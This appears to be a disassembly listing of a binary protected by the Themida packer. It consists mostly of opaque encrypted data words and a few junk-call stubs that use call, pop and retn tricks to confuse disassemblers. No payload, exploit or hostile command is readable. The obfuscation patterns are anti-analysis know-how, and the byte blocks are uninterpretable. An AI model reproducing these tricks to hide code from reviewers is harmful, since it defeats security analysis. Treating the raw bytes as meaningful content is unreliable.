		dd 0C107D121h, 0BF6604E8h, 0F7664305h, 358529E2h, 0F07D12Eh
		dd 0C82BFEB7h, 8B66D18Bh, 0B3E9D9h, 9D8B0000h, 7D1281Dh
		dd 4C4C858Bh, 0EE8505Fh, 3C000000h, 0A03518Ah, 0F0ECB36Fh
		dd 0FC1D293Dh, 14E9D0h,	0DF010000h, 0F6B1A017h,	2131840Ah
		dd 0F4825CADh, 33489B32h, 835FEB01h, 858907C0h,	7D106DDh
		dd 0F00C083h, 198Eh, 11E800h, 85470000h, 0F317A822h, 594C80Dh
		dd 5AD88D20h, 6059B6B7h, 0D03B5F61h, 10830Fh, 42E90000h
		dd 0E9000000h, 6, 0B61B8ED8h, 8D8B7625h, 0FFFFFFFFh, 19899D03h
		dd 0E18307D1h, 22840F01h, 8B000000h, 0D11B619Dh, 0FFA58307h
		dd 0FEFFFFFFh, 66C2C780h, 0C268C381h, 4C4C9589h, 0F98B505Fh
		dd 0E9h, 0DDB58D00h, 0E907D5DAh, 6, 6DBC213Eh, 6A2270h
		dd 18559D8Bh, 95FF07D1h, 7D10055h, 2D759509h, 0D7B907D1h
		dd 29000010h, 0D1255585h, 0FCE18307h, 0C459531h, 0E8FC07D1h
		dd 12h,	22137FE0h, 0C66B85F6h, 0B18197AFh, 6B4E41E5h, 860F9B91h
		dd 6, 800Fh, 0B85F0000h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5DC347
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DC347	proc near		; CODE XREF: Themida_:005DC33Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5DC347	endp

; ---------------------------------------------------------------------------
aLT6LNLa	db 'l°’:6׋½/Ñ',7,'‹Ñ!Ñ',7,'º',0
		align 4
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0BAB064C3h, 80A58E3Ah, 890FEA40h,	6, 347DBD8Bh
		dd 33AD07D1h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 3108CAC3h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 7DC35242h
		dd 4903BE52h, 880Dh, 51958B00h,	6A07D11Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0E974C357h
		dd 0D37024A8h, 8BCF684Bh, 0D12D558Dh, 0C28B5007h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 4E14C350h
		dd 496A4000h, 4A3BE730h, 6899D23h, 0EE807D1h, 0EA000000h
		dd 55512467h, 20E2BF3Ah, 0A8C64A40h, 5F18B3DBh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 5EC35646h, 8F830589h
		dd 0FE9A6h, 22250000h, 0EE4B1908h, 411CC24Fh, 5482FC27h
		dd 0C5BD833Ch, 7D11Bh, 6F840Fh,	89500000h, 0D11BF1B5h
		dd 0B85F07h, 0E9000000h, 0Bh, 571F87D7h, 0BA8FC788h, 0F354D7Fh
		dd 84h,	0A8D8D00h, 6A07D14Dh, 3E85500h,	20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 4F9CC355h, 1D019D33h
		dd 0E1FF07D1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0D8C35040h, 0B7BB66C8h,	39BD83D3h, 7D11Dh, 43B840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 8EE32CC3h, 8E853h, 39B70000h, 48A7B6DDh
		dd 85892E1Fh, 7D13249h,	0BD835F5Bh, 7D11D39h, 15840F01h
		dd 8B000004h, 39BD83DEh, 307D11Dh, 3D0860Fh, 860F0000h
		dd 6, 18619D03h, 816007D1h, 4E4BADF7h, 0D98C6675h, 22E1B589h
		dd 0E18007D1h, 51006A04h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 479A207Ch, 2D98AEC3h
		dd 0C99D8B5Bh, 0BF07D10Fh, 7EA7C8F2h, 840FC90Ah, 14Ah
		dd 0BE9h, 9857AF00h, 490F3CCh, 0ECC100D5h, 28F5858Bh, 0EE907D1h
		dd 0A000000h, 16FD2A8Dh, 8DCA4B85h, 0CB84546Ah,	0CD8533F8h
		dd 6A07D131h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 7C18C350h, 8E9h, 846EFC00h, 0A6BE7F55h
		dd 0FE8B6648h, 60525050h, 84FA56BFh, 0C28B660Ch, 50310F61h
		dd 0DA8B6652h, 54BF310Fh, 5A2E1EF6h, 89585A58h,	44BB2404h
		dd 6A49F2A0h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 5958FB5Fh, 13BD8531h, 326807D1h
		dd 0E950DC86h, 10h, 0AFE01D05h,	261C9981h, 0CD3E3598h
		dd 0CC1014AFh, 0CD243481h, 6A50C385h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 51BFC353h
		dd 0E6E17FFEh, 5DA4A2C0h, 32D5BD89h, 0CB8107D1h, 2765FA80h
		dd 2B1595FFh, 852907D1h, 7D113BDh, 38F0Fh, 8B660000h, 5A8589F8h
		dd 6A07D4EAh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 5EE7C353h, 0EF6E09FBh,	9C38166h
		dd 1D6E97Ch, 0B500000h,	0D12E0D9Dh, 858B5F07h, 7D4EA52h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 9EC35040h
		dd 1445F829h, 224DEB81h, 0C70AB8h, 18h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 0B7C35141h, 5BD334Fh
		dd 8B07D116h, 0D4EA56B5h, 86C38107h, 8B731875h,	0D10C9D85h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 7D9C65F5h, 0AD733D6h, 85011AABh,	7D10F45h
		dd 6A0689h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 850996C3h, 7D12D45h, 28F5858Bh, 0B58907D1h
		dd 7D10691h, 96044689h,	2870F60h, 53000000h, 50506159h
		dd 0AE86052h, 67000000h, 0B0975819h, 0D3A4D897h, 52505EBFh
		dd 585A310Fh, 60310F61h, 5A615B53h, 6A9658h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0B0D3CC3h
		dd 36079F5h, 0D1007DBDh, 0D9953307h, 6107D115h,	28F99D03h
		dd 34BB07D1h, 0FF0C4450h, 0D4EA52B5h, 0C3816607h, 9D8B562Fh
		dd 7D11A8Dh, 22477168h,	0DA8B661Fh, 8E243481h, 6A1F3D44h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0ACDDC350h, 0E187D913h, 0F89E4D5Eh, 6880Fh
		dd 0B5890000h, 7D11561h, 0EA5A858Dh, 0BD8B07D4h, 7D13339h
		dd 850F5090h, 2, 8B90FDB3h, 0D122E9BDh,	1595FF07h, 6A07D12Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 89A9C355h, 0D1256985h, 6E907h, 6EC20000h
		dd 0A9FEF3F2h, 69BD8961h, 0C707D12Eh, 0D11D3985h, 307h
		dd 5E900h, 0D44E0000h, 8365A4EAh, 0D4EA5ABDh, 840F0007h
		dd 3Ah,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h
		dd 11C35040h, 29EAB36Dh, 880F57CCh, 6, 2BE19589h, 0E95B07D1h
		dd 21h,	2065BD89h, 305007D1h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 50006AC0h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 859D890Ah, 6A07D101h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 5C5C355h,	9D31B0F7h, 7D10061h, 0BD83DA8Bh
		dd 7D11D39h, 0FF850F03h, 6A000003h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0D1C357h
		dd 0F2F15DEDh, 0EC499EACh, 0BD8301B7h, 7D4EA5Ah, 0CB840F00h
		dd 0F000003h, 28Eh, 0FFD98B00h,	0D4EA5AB5h, 0B5CB8107h
		dd 0FF053A86h, 0D12EB195h, 758D8907h, 8107D134h, 7E8A86EBh
		dd 4EB58B5Ch, 6007D4EAh, 858BEEB5h, 7D12D05h, 106C761h
		dd 6A000100h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 66E1C353h, 3BCC4092h, 0B685E3F9h
		dd 8E0F50h, 89000000h, 6A2434h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 66A5DCC3h, 8C0F245Eh
		dd 6, 245D9D8Bh, 0B5FF07D1h, 7D4EA5Ah, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0CDC35040h,	9448E619h, 0D98A1185h
		dd 22A9BD8Bh, 95FF07D1h, 7D131A5h, 0FFB3C381h, 0B58B2C51h
		dd 7D4EA4Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0B4C35242h, 2B31858Bh, 6A07D1h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 24E841C3h
		dd 5D12FAB0h, 80C2E4F0h, 48BFF3C3h, 89170384h, 0C486h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8D896786h, 7D12C81h, 0DE8h, 69883900h
		dd 508C00AAh, 0E34AF79Fh, 81664CCCh, 5BBA73F7h,	1B51958Bh
		dd 9D8B07D1h, 7D13119h,	0F504C283h, 6810Fh, 95890000h
		dd 7D13069h, 6A205089h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0EF5DC356h,	0FEE5858Dh
		dd 0B70F07D4h, 0B88689F8h, 81000000h, 0BD05E6F3h, 6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0FF8EC353h, 0D4EA5AB5h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 717E6914h, 6830FE3h,	89000000h, 0D10C29BDh, 0E995FF07h
		dd 6A07D11Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0E369C351h, 30F59D8Bh,	0F5007D1h
		dd 0D87h, 66525000h, 0F7478BFh,	0FB8B6631h, 3489585Ah
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0B33F6F46h, 72E2BB3Ch, 0B5FF0243h, 7D4EA5Ah
		dd 0BB6691B3h, 95FFA22Ah, 7D12D9Dh, 68A0Fh, 9D8B0000h
		dd 7D11965h, 0BF665253h, 5B5B19E9h, 2809BD83h, 0F0007D1h
		dd 2E84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 519D8BB2h, 5007D128h, 0FABCC2BFh
		dd 2434894Ch, 0FFDF8B66h, 0D4EA5AB5h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 11E8AB4Dh, 0FA000000h, 691EEA96h, 0A5037A90h, 2CFD78A3h
		dd 61F2E4E0h, 0E108EB81h, 0FF5B33E0h, 0D132B595h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 30C6C21h, 0D11605BDh, 5AB5FF07h, 0E907D4EAh,	6, 22233D72h
		dd 9509DD66h, 7D10685h,	270995FFh, 83F807D1h, 0D10FC1BDh
		dd 840F0207h, 5Ch, 25AD9D8Bh, 858B07D1h, 7D11E25h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 4CC35343h, 8D89EA0Bh
		dd 7D11EA1h, 6A0000C6h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 1EBBC351h, 0E29B3C48h
		dd 0BDBF6624h, 0F98B6683h, 22CD85C7h, 7D1h, 80E90000h
		dd 6AFFFFF3h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 8153C352h, 7F5CF0CBh, 6AC18B04h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 7827C353h, 1361858Dh, 0EF8107D1h,	703EE61Bh
		dd 53525050h, 6DF5BF66h, 60310F5Bh, 84DE0CBBh, 0BE906h
		dd 11F60000h, 0DBE6EACEh, 0F5C00FE4h, 585A61A0h, 89240489h
		dd 0D11851BDh, 3006A07h, 0D118619Dh, 3A24BF07h,	6A4454h
		dd 69BF858Dh, 0B75607D6h, 0C0835F04h, 3DBD8B05h, 9007D12Fh
		dd 6798A8BBh, 6A905046h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 2396C355h, 9D8B0EEDh
		dd 7D105ADh, 6AFEB70Fh,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0D0CD99C0h, 13E9h, 5FC61B00h
		dd 0EA62EE74h, 0DA6C6722h, 0D2249282h, 0EE0366Dh, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0C97E71C3h, 0E8E306DDh, 359D8B46h, 8B07D11Eh, 0D114CD9Dh
		dd 0E195FF07h, 6A07D11Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 9729C357h, 0D5668D8Dh
		dd 0BD3307D4h, 7D12A29h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 61FCDCC3h, 0E59D8B7Bh
		dd 8307D12Ch, 0D11715BDh, 850F0107h, 69h, 0DE9h, 30031700h
		dd 0CD4951h, 0BBE30789h, 26A4977h, 9E9h, 0BA133700h, 0CB9A4CBBh
		dd 60905846h, 3622ABAh,	619CB760h, 5830F50h, 0BB000000h
		dd 29155CD2h, 58F78190h, 0FF7E3B63h, 0D11DE995h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 7E4054B6h, 0B5389C0Ah, 0DEDE920h, 0E80000h, 5D000000h
		dd 69C9ED81h, 6A07D6h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 408E2FC3h, 0D7803DE8h, 77858DEDh
		dd 6A07D4BCh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 510DC355h, 39CE7E1Ch, 295E1BB6h
		dd 0D11D4DBDh, 0B59D8B07h, 5007D11Fh, 7E9h, 0FE8E0500h
		dd 1311551Eh, 64240489h, 35FFh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FC921C3h
		dd 384h, 0F8B70F00h, 2F3DB589h,	896407D1h, 25h,	57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 80DD4B86h, 67427E48h, 0BF0F664Ch, 2185FFDEh,	6A07D129h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 62D9C353h, 0E5CA335Bh, 6A0922ECh,	53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 35C7DEFDh, 4E80B363h, 0CB7BBFF4h, 0B5FF52EEh, 7D11529h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 88C35646h
		dd 95FFFA8Bh, 7D1141Dh,	0FDE9h,	0C3816600h, 0B02722h, 0EE8h
		dd 0B8783800h, 3645A253h, 39227C88h, 0B7BF2252h, 8FBF5BC8h
		dd 0E653902Dh, 840F70h,	0E4000000h, 0C6C78071h,	830F613Ch
		dd 0C6h, 0FDFB70Fh, 0CF81C8B6h,	0D1ADBB3h, 6BAh, 0E9BD2900h
		dd 8B07D11Ah, 0B8D0FC1h, 0E9000000h, 6,	90901FEAh, 0E8C14BFBh
		dd 85895204h, 7D103ADh,	0B98D895Fh, 6607D12Dh, 0BD8BE2F7h
		dd 7D12155h, 0BD8BC82Bh, 7D1112Dh, 0D18BFA8Ah, 71E9h, 0DBBF0F00h
		dd 554C858Bh, 0DE8A4947h, 8B07C083h, 0D12DAD9Dh, 0C08307h
		dd 30D98501h, 0D03B07D1h, 0C830Fh, 8B660000h, 44E9DFh
		dd 0BF660000h, 8D8B414Fh, 0FFFFFFFFh, 6860F51h,	8B000000h
		dd 0D10C599Dh, 0E1835F07h, 23840F01h, 0F000000h, 9D8BFEBFh
		dd 7D130A9h, 0FFFFA583h, 8BFEFFFFh, 0D106ED9Dh,	4C958907h
		dd 8B494755h, 0E9DEh, 0B58D0000h, 7D5EBB4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F3C35141h, 59AD0CBDh
		dd 0E99D069Fh, 5, 18DAE269h, 0B006A87h,	0D1280DBDh, 5595FF07h
		dd 0B907D100h, 0EDAh, 0E850006Ah, 3, 58C35820h,	4244489h
		dd 4244481h, 1Ah, 0E5C35040h, 51B4D0B2h, 0E183CC85h, 0E7E781FCh
		dd 0FC5C7664h, 38EF8166h, 0B877h, 8B600000h, 0D12D219Dh
		dd 0DE907h, 758F0000h, 0A8724A84h, 9A766FC7h, 61476DBDh
		dd 0DC8AD22Bh, 0A8F0Fh,	89600000h, 0D13495B5h, 61F98A07h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 66DEB70Fh, 0CF38C781h
		dd 13E8h, 0C6F85400h, 1C8D1CEEh, 0BEAC92DAh, 0E98A8435h
		dd 0DF25C916h, 0BBCF8166h, 880D5FB7h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 21BBC351h, 70B35397h, 665601C8h, 315BF98Bh, 0D132ED95h
		dd 51958B07h
		dd 8007D11Bh, 8D8B39E7h, 7D12D55h, 1BCDBD29h, 8B5007D1h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 56C35343h, 3F55C49Dh
		dd 0BD8BC019h, 7D11881h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 8BC35141h, 8E7B4329h,	0BF0FAAD4h, 0C5BD83DAh
		dd 7D11Bh, 72840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 9A99EC3h, 0E6A0B61Ch
		dd 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 628DB270h, 6B8C89C7h, 870F794Fh
		dd 6, 29919D8Bh, 0BD8B07D1h, 7D12349h, 4D0A8D8Dh, 0BB6607D1h
		dd 8B502048h, 0D118F99Dh, 0E1FF5F07h, 1D39BD83h, 0F0007D1h
		dd 42584h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0B230CEB7h, 0E081604Dh, 0F21BA01h
		dd 2101B58Bh, 836107D1h, 0D11D39BDh, 840F0107h,	405h, 0CE9h
		dd 12396200h, 0DDAD28DAh, 0DC605D02h, 39BD83B1h, 307D11Dh
		dd 3B1860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 71D075C3h, 52EA32BDh, 85896035h
		dd 7D10BF5h, 6AD98C66h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 1672C353h, 0F2D65ECh
		dd 68Bh, 21958900h, 8007D115h, 6A04E1h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0CAD171C3h
		dd 5E9h, 0B944CB00h, 0C90AF0CDh, 163840Fh, 14E90000h, 9A000000h
		dd 84BB3DCh, 24AFDDA8h,	6539EF19h, 4B1770A8h, 8B4C8C3Ch
		dd 0D128F585h, 0A8F0F07h, 60000000h, 870F47B0h,	0
; ---------------------------------------------------------------------------
		popa
		xor	eax, [ebp+7D131CDh]
		push	0
		push	ebp
		call	sub_5DD58E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DD58E	proc near		; CODE XREF: Themida_:005DD586p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5DD58E	endp

; ---------------------------------------------------------------------------
		pop	esi
		xor	[ebp+7D12F11h],	ecx
		sub	[ebp+7D10719h],	ecx
		push	eax
		mov	ebx, 729432A0h
		mov	[esp], eax
		mov	ebx, [ebp+7D130EDh]
		push	0
		push	0
		push	ecx
		call	sub_5DD5C7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DD5C7	proc near		; CODE XREF: Themida_:005DD5BFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5DD5C7	endp

; ---------------------------------------------------------------------------
		db 0D0h
; ---------------------------------------------------------------------------
		add	[ebp+7D133E1h],	ebx
		push	1E0C5164h
		jmp	loc_5DD5F7
; ---------------------------------------------------------------------------
		pusha
		retn
; ---------------------------------------------------------------------------
		dw 0A4D1h
		dd 5A0F9EFAh, 6565B454h
		db 0CCh
		db 0AEh, 33h
; ---------------------------------------------------------------------------


loc_5DD5F7:				; CODE XREF: Themida_:005DD5E3j
		xor	dword ptr [esp], 1E13529Bh
		push	0
		push	ebx
		call	sub_5DD609
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DD609	proc near		; CODE XREF: Themida_:005DD601p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx


loc_5DD617:				; CODE XREF: Themida_:005DD61Fj
		push	ebx
		retn
sub_5DD609	endp

; ---------------------------------------------------------------------------
		and	[ecx-1C2B721Ch], al
		jbe	short loc_5DD617
		mov	cl, 4Ch
		mov	bx, 9543h
		call	dword ptr [ebp+7D12B15h]
		push	0
		push	edi
		call	sub_5DD638
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DD638	proc near		; CODE XREF: Themida_:005DD630p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5DD638	endp

; ---------------------------------------------------------------------------
		dd 163AF23Fh, 5A8589E4h, 6A07D4EAh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 81A2C355h
		dd 990B7116h, 153E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0BE7C24E4h, 128C0F85h
		dd 0E9000000h, 0Dh, 0BDF4C395h,	0F2D964D7h, 493370C4h
		dd 52858BAFh, 0C707D4EAh, 1800h, 8BFCB300h, 0D4EA56B5h
		dd 0CB816607h, 0BD8BBE44h, 7D116F1h, 0C9D858Bh,	6A07D1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 287848C3h, 2840Fh, 0FE8B0000h, 6A0689h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0E84C91C3h
		dd 0BD8B2AB7h, 7D12879h, 28F5858Bh, 0BB6607D1h,	46896452h
		dd 0D8BF0F04h, 0DF8B6650h, 1243489h, 0D11CC18Dh, 52B5FF07h
		dd 6A07D4EAh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 6B21C350h, 0DDB2A0C2h,	0AE973A1h
		dd 49000000h, 0DA1FD499h, 641369B3h, 0DEA96815h, 0DF8B814Eh
		dd 56240481h, 8A7ED025h, 5A858DDEh, 2B07D4EAh, 0D11AC1BDh
		dd 5F575007h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0F54C352h, 68Bh, 998D8900h
		dd 0FF07D120h, 0D12B1595h, 6FEF8007h, 53006A61h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 0A19D8B3Ah, 0C707D12Eh, 0D11D3985h, 307h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 4B47523Ch, 0EEE72D8Ch, 651BD31h, 9D8B07D1h, 7D1284Dh
		dd 0D58D89h, 0BD8307D1h, 7D4EA5Ah, 38840F00h, 81000000h
		dd 7580B2C3h, 48E954h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0A75E7BC3h, 8820FA0h
		dd 0F000000h, 28Bh, 50FA8A00h, 110C30h,	0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 7D286C3h, 0FF54962h
		dd 682h, 0D1B58900h, 8307D126h,	0D11D39BDh, 850F0307h
		dd 4B8h, 0BD83DF8Bh, 7D4EA5Ah, 0A9840F00h, 6A000004h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 40C6C352h, 1D30FF70h, 5AB5FF7Dh, 5107D4EAh, 85BBBF66h
		dd 0B195FF5Bh, 6A07D12Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 6F77C353h, 0B8CCEFA6h
		dd 783C3737h, 7E78166h,	850F6046h, 5, 0DC48CABAh, 418D8B01h
		dd 6107D131h, 0EA4EB58Bh, 0BD8907D4h, 7D118A1h,	106C7h
		dd 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0FC6F8DC3h, 29C9C20Ah, 99D2321h, 5007D11Ah
		dd 910917BFh, 2434891Bh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0C0C35343h, 0ACE36A92h, 880F9199h, 8
		dd 2810Fh, 0FD8A0000h, 8BFAB70Fh, 0D133F99Dh, 5AB5FF07h
		dd 6A07D4EAh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 9AE9C350h, 2AF8F8C6h, 6BFF83Ah
		dd 0FF417360h, 0D131A595h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 53844D1Ch
		dd 175D9D8Bh, 665F07D1h, 0B58BF98Bh, 7D4EA4Eh, 6ED7BE60h
		dd 0BF0F32B3h, 858B61C8h, 7D12B31h, 0BE9h, 1088FA00h, 29C7C2D0h
		dd 0EA463D67h, 0C48689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0AD4563C3h, 6830FF8h
		dd 89000000h, 0D13431BDh, 51958B07h, 6A07D11Bh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0C273C357h, 469A69D8h, 4C283C9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 16C35040h, 0EF93AC5Dh, 661DA093h
		dd 5089DF8Bh, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 337E1B96h, 0FE99DFFh, 7E000000h
		dd 0C701F7DCh, 5227477Eh, 2C95A3F0h, 0A1B7A538h, 0FEE5858Dh
		dd 6A07D4h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 5BDC2C3h,	0DE907BFh, 1F000000h, 0B8ECDBEEh
		dd 783D39D7h, 9FEA7147h, 1EAD9D8Bh, 868907D1h, 0B8h, 0C08BB57h
		dd 8B5B49EFh, 0D126999Dh, 6A006A07h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 9CB5C355h
		dd 0FF1D01EDh, 0D4EA5AB5h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0C65C1114h
		dd 0F98B66DAh, 1DE995FFh, 6A07D1h, 3E857h, 5F200000h, 7C895FC3h
